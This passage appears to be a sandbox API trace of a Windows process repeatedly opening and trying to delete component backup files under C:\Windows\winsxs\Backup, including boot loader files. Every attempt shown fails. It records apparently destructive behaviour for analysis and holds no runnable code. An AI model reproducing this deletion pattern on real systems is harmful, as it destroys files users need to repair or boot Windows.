dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.060] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-atl_31bf3856ad364e35_6.1.7600.16385_none_0715316d7363738e.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-atl_31bf3856ad364e35_6.1.7600.16385_none_0715316d7363738e.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.060] CloseHandle (hObject=0xffffffff) returned 0 [0066.061] CloseHandle (hObject=0xffffffff) returned 0 [0066.061] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-atl_31bf3856ad364e35_6.1.7600.16385_none_0715316d7363738e.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-atl_31bf3856ad364e35_6.1.7600.16385_none_0715316d7363738e.manifest")) returned 0 [0066.061] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.061] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-atl_31bf3856ad364e35_6.1.7600.16385_none_0715316d7363738e_atl.dll_0c7220db" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-atl_31bf3856ad364e35_6.1.7600.16385_none_0715316d7363738e_atl.dll_0c7220db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.061] CloseHandle (hObject=0xffffffff) returned 0 [0066.061] CloseHandle (hObject=0xffffffff) returned 0 [0066.061] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-atl_31bf3856ad364e35_6.1.7600.16385_none_0715316d7363738e_atl.dll_0c7220db" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-atl_31bf3856ad364e35_6.1.7600.16385_none_0715316d7363738e_atl.dll_0c7220db")) returned 0 [0066.062] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.062] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-audio-mmecore-base_31bf3856ad364e35_6.1.7600.16385_none_11d4ade16b61222e.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-audio-mmecore-base_31bf3856ad364e35_6.1.7600.16385_none_11d4ade16b61222e.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.062] CloseHandle (hObject=0xffffffff) returned 0 [0066.062] CloseHandle (hObject=0xffffffff) returned 0 [0066.062] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-audio-mmecore-base_31bf3856ad364e35_6.1.7600.16385_none_11d4ade16b61222e.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-audio-mmecore-base_31bf3856ad364e35_6.1.7600.16385_none_11d4ade16b61222e.manifest")) returned 0 [0066.062] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.062] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-audio-mmecore-base_31bf3856ad364e35_6.1.7600.16385_none_11d4ade16b61222e_winmm.dll_08d4f5e8" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-audio-mmecore-base_31bf3856ad364e35_6.1.7600.16385_none_11d4ade16b61222e_winmm.dll_08d4f5e8"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.062] CloseHandle (hObject=0xffffffff) returned 0 [0066.063] CloseHandle (hObject=0xffffffff) returned 0 [0066.063] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-audio-mmecore-base_31bf3856ad364e35_6.1.7600.16385_none_11d4ade16b61222e_winmm.dll_08d4f5e8" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-audio-mmecore-base_31bf3856ad364e35_6.1.7600.16385_none_11d4ade16b61222e_winmm.dll_08d4f5e8")) returned 0 [0066.063] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.063] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-authentication-authui_31bf3856ad364e35_6.1.7601.17514_none_6a1982860c076c38.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-authentication-authui_31bf3856ad364e35_6.1.7601.17514_none_6a1982860c076c38.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.063] CloseHandle (hObject=0xffffffff) returned 0 [0066.063] CloseHandle (hObject=0xffffffff) returned 0 [0066.063] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-authentication-authui_31bf3856ad364e35_6.1.7601.17514_none_6a1982860c076c38.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-authentication-authui_31bf3856ad364e35_6.1.7601.17514_none_6a1982860c076c38.manifest")) returned 0 [0066.064] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.064] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-authentication-authui_31bf3856ad364e35_6.1.7601.17514_none_6a1982860c076c38_authui.dll_05ff9fd2" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-authentication-authui_31bf3856ad364e35_6.1.7601.17514_none_6a1982860c076c38_authui.dll_05ff9fd2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.064] CloseHandle (hObject=0xffffffff) returned 0 [0066.064] CloseHandle (hObject=0xffffffff) returned 0 [0066.064] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-authentication-authui_31bf3856ad364e35_6.1.7601.17514_none_6a1982860c076c38_authui.dll_05ff9fd2" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-authentication-authui_31bf3856ad364e35_6.1.7601.17514_none_6a1982860c076c38_authui.dll_05ff9fd2")) returned 0 [0066.064] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.064] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-authentication-authui_31bf3856ad364e35_6.1.7601.17514_none_6a1982860c076c38_authui.ptxml_399d39fd" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-authentication-authui_31bf3856ad364e35_6.1.7601.17514_none_6a1982860c076c38_authui.ptxml_399d39fd"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.065] CloseHandle (hObject=0xffffffff) returned 0 [0066.065] CloseHandle (hObject=0xffffffff) returned 0 [0066.065] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-authentication-authui_31bf3856ad364e35_6.1.7601.17514_none_6a1982860c076c38_authui.ptxml_399d39fd" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-authentication-authui_31bf3856ad364e35_6.1.7601.17514_none_6a1982860c076c38_authui.ptxml_399d39fd")) returned 0 [0066.065] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.065] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-axinstallservice_31bf3856ad364e35_6.1.7601.17514_none_352b5454878cd498.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-axinstallservice_31bf3856ad364e35_6.1.7601.17514_none_352b5454878cd498.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.065] CloseHandle (hObject=0xffffffff) returned 0 [0066.065] CloseHandle (hObject=0xffffffff) returned 0 [0066.065] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-axinstallservice_31bf3856ad364e35_6.1.7601.17514_none_352b5454878cd498.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-axinstallservice_31bf3856ad364e35_6.1.7601.17514_none_352b5454878cd498.manifest")) returned 0 [0066.066] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.066] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-axinstallservice_31bf3856ad364e35_6.1.7601.17514_none_352b5454878cd498_axinstsv.dll_ebc2b91e" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-axinstallservice_31bf3856ad364e35_6.1.7601.17514_none_352b5454878cd498_axinstsv.dll_ebc2b91e"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.066] CloseHandle (hObject=0xffffffff) returned 0 [0066.066] CloseHandle (hObject=0xffffffff) returned 0 [0066.066] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-axinstallservice_31bf3856ad364e35_6.1.7601.17514_none_352b5454878cd498_axinstsv.dll_ebc2b91e" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-axinstallservice_31bf3856ad364e35_6.1.7601.17514_none_352b5454878cd498_axinstsv.dll_ebc2b91e")) returned 0 [0066.066] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.067] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-axinstallservice_31bf3856ad364e35_6.1.7601.17514_none_352b5454878cd498_axinstui.exe_eba3b15b" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-axinstallservice_31bf3856ad364e35_6.1.7601.17514_none_352b5454878cd498_axinstui.exe_eba3b15b"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.067] CloseHandle (hObject=0xffffffff) returned 0 [0066.067] CloseHandle (hObject=0xffffffff) returned 0 [0066.067] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-axinstallservice_31bf3856ad364e35_6.1.7601.17514_none_352b5454878cd498_axinstui.exe_eba3b15b" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-axinstallservice_31bf3856ad364e35_6.1.7601.17514_none_352b5454878cd498_axinstui.exe_eba3b15b")) returned 0 [0066.079] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.079] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..endencies.resources_31bf3856ad364e35_6.1.7600.16385_en-us_06b4240709238ea6.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..endencies.resources_31bf3856ad364e35_6.1.7600.16385_en-us_06b4240709238ea6.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.079] CloseHandle (hObject=0xffffffff) returned 0 [0066.079] CloseHandle (hObject=0xffffffff) returned 0 [0066.079] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..endencies.resources_31bf3856ad364e35_6.1.7600.16385_en-us_06b4240709238ea6.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..endencies.resources_31bf3856ad364e35_6.1.7600.16385_en-us_06b4240709238ea6.manifest")) returned 0 [0066.080] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.080] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..environment-windows_31bf3856ad364e35_6.1.7601.18741_none_c73b18fba3854417.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..environment-windows_31bf3856ad364e35_6.1.7601.18741_none_c73b18fba3854417.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.080] CloseHandle (hObject=0xffffffff) returned 0 [0066.080] CloseHandle (hObject=0xffffffff) returned 0 [0066.080] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..environment-windows_31bf3856ad364e35_6.1.7601.18741_none_c73b18fba3854417.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..environment-windows_31bf3856ad364e35_6.1.7601.18741_none_c73b18fba3854417.manifest")) returned 0 [0066.080] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.080] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..environment-windows_31bf3856ad364e35_6.1.7601.18741_none_c73b18fba3854417_setbcdlocale.dll_77bec53b" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..environment-windows_31bf3856ad364e35_6.1.7601.18741_none_c73b18fba3854417_setbcdlocale.dll_77bec53b"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.081] CloseHandle (hObject=0xffffffff) returned 0 [0066.081] CloseHandle (hObject=0xffffffff) returned 0 [0066.081] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..environment-windows_31bf3856ad364e35_6.1.7601.18741_none_c73b18fba3854417_setbcdlocale.dll_77bec53b" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..environment-windows_31bf3856ad364e35_6.1.7601.18741_none_c73b18fba3854417_setbcdlocale.dll_77bec53b")) returned 0 [0066.081] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.081] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..environment-windows_31bf3856ad364e35_6.1.7601.18741_none_c73b18fba3854417_winload.efi_75834aa0" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..environment-windows_31bf3856ad364e35_6.1.7601.18741_none_c73b18fba3854417_winload.efi_75834aa0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.081] CloseHandle (hObject=0xffffffff) returned 0 [0066.081] CloseHandle (hObject=0xffffffff) returned 0 [0066.081] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..environment-windows_31bf3856ad364e35_6.1.7601.18741_none_c73b18fba3854417_winload.efi_75834aa0" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..environment-windows_31bf3856ad364e35_6.1.7601.18741_none_c73b18fba3854417_winload.efi_75834aa0")) returned 0 [0066.081] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.082] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..environment-windows_31bf3856ad364e35_6.1.7601.18741_none_c73b18fba3854417_winload.exe_75835076" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..environment-windows_31bf3856ad364e35_6.1.7601.18741_none_c73b18fba3854417_winload.exe_75835076"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.082] CloseHandle (hObject=0xffffffff) returned 0 [0066.082] CloseHandle (hObject=0xffffffff) returned 0 [0066.082] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..environment-windows_31bf3856ad364e35_6.1.7601.18741_none_c73b18fba3854417_winload.exe_75835076" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..environment-windows_31bf3856ad364e35_6.1.7601.18741_none_c73b18fba3854417_winload.exe_75835076")) returned 0 [0066.082] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.082] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..environment-windows_31bf3856ad364e35_6.1.7601.18741_none_c73b18fba3854417_winresume.efi_85cd069f" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..environment-windows_31bf3856ad364e35_6.1.7601.18741_none_c73b18fba3854417_winresume.efi_85cd069f"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.082] CloseHandle (hObject=0xffffffff) returned 0 [0066.082] CloseHandle (hObject=0xffffffff) returned 0 [0066.082] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..environment-windows_31bf3856ad364e35_6.1.7601.18741_none_c73b18fba3854417_winresume.efi_85cd069f" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..environment-windows_31bf3856ad364e35_6.1.7601.18741_none_c73b18fba3854417_winresume.efi_85cd069f")) returned 0 [0066.083] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.083] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..environment-windows_31bf3856ad364e35_6.1.7601.18741_none_c73b18fba3854417_winresume.exe_85cd1215" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..environment-windows_31bf3856ad364e35_6.1.7601.18741_none_c73b18fba3854417_winresume.exe_85cd1215"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.083] CloseHandle (hObject=0xffffffff) returned 0 [0066.083] CloseHandle (hObject=0xffffffff) returned 0 [0066.083] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..environment-windows_31bf3856ad364e35_6.1.7601.18741_none_c73b18fba3854417_winresume.exe_85cd1215" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..environment-windows_31bf3856ad364e35_6.1.7601.18741_none_c73b18fba3854417_winresume.exe_85cd1215")) returned 0 [0066.083] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.084] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..gertransport-serial_31bf3856ad364e35_6.1.7600.16385_none_6daa7ec5c65bf5bc.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..gertransport-serial_31bf3856ad364e35_6.1.7600.16385_none_6daa7ec5c65bf5bc.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.084] CloseHandle (hObject=0xffffffff) returned 0 [0066.084] CloseHandle (hObject=0xffffffff) returned 0 [0066.084] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..gertransport-serial_31bf3856ad364e35_6.1.7600.16385_none_6daa7ec5c65bf5bc.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..gertransport-serial_31bf3856ad364e35_6.1.7600.16385_none_6daa7ec5c65bf5bc.manifest")) returned 0 [0066.084] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0066.084] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..gertransport-serial_31bf3856ad364e35_6.1.7600.16385_none_6daa7ec5c65bf5bc_kdcom.dll_db5e7744" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..gertransport-serial_31bf3856ad364e35_6.1.7600.16385_none_6daa7ec5c65bf5bc_kdcom.dll_db5e7744"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.084] CloseHandle (hObject=0xffffffff) returned 0 [0066.084] CloseHandle (hObject=0xffffffff) returned 0 [0066.084] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..gertransport-serial_31bf3856ad364e35_6.1.7600.16385_none_6daa7ec5c65bf5bc_kdcom.dll_db5e7744" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..gertransport-serial_31bf3856ad364e35_6.1.7600.16385_none_6daa7ec5c65bf5bc_kdcom.dll_db5e7744")) returned 0 [0066.085] GetSystemInfo (in: lpSystemInfo=0x18f8bc | out: lpSystemInfo=0x18f8bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, 